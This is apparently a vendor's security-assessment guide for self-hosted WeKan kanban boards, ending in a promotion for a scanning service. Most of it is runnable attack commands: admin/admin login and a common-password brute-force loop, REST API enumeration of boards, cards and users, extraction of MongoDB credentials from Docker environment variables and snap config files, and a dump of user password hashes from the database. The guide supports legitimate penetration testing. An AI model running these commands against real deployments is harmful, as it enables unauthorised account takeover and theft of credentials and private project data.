WeKan is a widely deployed open-source kanban board platform (Trello alternative) built on Meteor.js with MongoDB as the backend, used by teams to manage tasks, projects, and workflows. Its REST API and MongoDB backend are the primary attack surfaces. Key assessment areas: WeKan defaults to admin/admin in many self-hosted installations created through the initial setup wizard; the REST API provides access to all boards, lists, and cards accessible to the authenticated user including private boards; the MONGO_URL environment variable stores the full MongoDB connection string including credentials; MongoDB may be accessible without authentication if it binds to all interfaces without authorization enabled; and WeKan's public board sharing can be misconfigured to expose sensitive project information. This guide covers systematic WeKan security assessment.
# WeKan — default credentials and REST API authentication
WEKAN_URL="https://wekan.example.com"
# Default credentials: admin / admin (set during setup wizard)
# WeKan REST API login — returns authToken and userId
AUTH_RESPONSE=$(curl -s -X POST "${WEKAN_URL}/users/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin"}' 2>/dev/null)
echo "$AUTH_RESPONSE" | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'token' in d:
print(f'Auth token: {d[\"token\"]}')
print(f'User ID: {d.get(\"id\")}')
print(f'Token expires: {d.get(\"tokenExpires\")}')
else:
print(f'Login failed: {d}')
" 2>/dev/null
AUTH_TOKEN=$(echo "$AUTH_RESPONSE" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token',''))" 2>/dev/null)
USER_ID=$(echo "$AUTH_RESPONSE" | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('id',''))" 2>/dev/null)
# Try common passwords
for PASS in "admin" "wekan" "password" "123456" "changeme"; do
TOKEN=$(curl -s -X POST "${WEKAN_URL}/users/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":\"${PASS}\"}" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('token','FAIL'))" 2>/dev/null)
[ "$TOKEN" != "FAIL" ] && echo "Credentials found: admin/${PASS} token=${TOKEN}" || echo "admin/${PASS}: failed"
done
# WeKan REST API — board and card data enumeration
WEKAN_URL="https://wekan.example.com"
AUTH_TOKEN="your-wekan-auth-token"
USER_ID="your-user-id"
# List all boards accessible to the user
curl -s "${WEKAN_URL}/api/boards" \
-H "Authorization: Bearer ${AUTH_TOKEN}" \
-H "userId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
boards=json.load(sys.stdin)
print(f'Boards: {len(boards)}')
for b in boards:
print(f' [{b.get(\"_id\")}] {b.get(\"title\")} permission={b.get(\"permission\")} members={len(b.get(\"members\",[]))}')
" 2>/dev/null
# Get all cards from a board — task content and descriptions
BOARD_ID="your-board-id"
# First get lists in the board
curl -s "${WEKAN_URL}/api/boards/${BOARD_ID}/lists" \
-H "Authorization: Bearer ${AUTH_TOKEN}" \
-H "userId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
lists=json.load(sys.stdin)
print(f'Lists: {len(lists)}')
for l in lists:
print(f' [{l.get(\"_id\")}] {l.get(\"title\")}')
" 2>/dev/null
LIST_ID="your-list-id"
# Get all cards in a list
curl -s "${WEKAN_URL}/api/boards/${BOARD_ID}/lists/${LIST_ID}/cards" \
-H "Authorization: Bearer ${AUTH_TOKEN}" \
-H "userId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
cards=json.load(sys.stdin)
print(f'Cards: {len(cards)}')
for c in cards:
print(f' [{c.get(\"_id\")}] {c.get(\"title\")}')
if c.get('description'):
print(f' Description: {str(c[\"description\"])[:100]}')
" 2>/dev/null
# Enumerate all users in the WeKan instance
curl -s "${WEKAN_URL}/api/users" \
-H "Authorization: Bearer ${AUTH_TOKEN}" \
-H "userId: ${USER_ID}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
print(f'Users: {len(d)}')
for u in d[:10]:
print(f' [{u.get(\"_id\")}] {u.get(\"username\")} email={u.get(\"email\")} isAdmin={u.get(\"isAdmin\")}')
" 2>/dev/null
# WeKan MongoDB connection string and direct database access
# Environment variable — MONGO_URL contains full connection string
# Docker deployment
docker inspect wekan 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if 'MONGO' in e or 'mongo' in e.lower():
print(e)
" 2>/dev/null
# MONGO_URL=mongodb://wekan:PASSWORD@localhost:27017/wekan
# Snap deployment
cat /var/snap/wekan/current/wekan.env 2>/dev/null | grep -E "MONGO_URL|MONGODB"
# Check if MongoDB is accessible without authentication (common misconfiguration)
mongo --host localhost --port 27017 --eval "db.adminCommand({listDatabases:1})" 2>/dev/null | head -20
# If this returns databases without prompting for credentials, MongoDB is unauthenticated
# With MongoDB access — enumerate WeKan collections
mongo wekan 2>/dev/null << 'EOF'
// All WeKan users with hashed passwords
db.users.find({}, {username:1, emails:1, isAdmin:1, services:1}).limit(20)
// All boards including private
db.boards.find({}, {title:1, permission:1, members:1, userId:1}).limit(20)
// All cards with descriptions — project task content
db.cards.find({}, {title:1, description:1, listId:1, boardId:1, userId:1}).limit(20)
EOF
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credential exploitation | POST /users/login with admin:admin — auth token returned; access to all boards, lists, cards, and user administration; admin bypasses board permission restrictions | Critical |
| REST API board and card enumeration | GET /api/boards — all accessible boards; GET /api/boards/{id}/lists/{id}/cards — all card content including descriptions with potentially sensitive task details, credentials, and project information | High |
| Unauthenticated MongoDB access | mongo --host localhost 27017 — if MongoDB lacks --auth flag; direct access to all WeKan collections including users (bcrypt hashes), boards, cards, and API tokens | Critical (if misconfigured) |
| MONGO_URL credential extraction | docker inspect wekan — MONGO_URL in environment variables; MongoDB credentials enabling direct database access outside WeKan application controls | Critical |
| User enumeration via API | GET /api/users — all registered users with usernames and emails; enables targeted credential attacks against specific admin accounts | Medium |
Ironimo tests WeKan deployments for default credential exploitation, REST API board and card data enumeration, unauthenticated MongoDB access verification on port 27017, MONGO_URL Docker environment variable credential extraction, board permission misconfiguration testing, user enumeration via API, public board access testing, and MongoDB WeKan collection enumeration including user password hash extraction.
Start free scan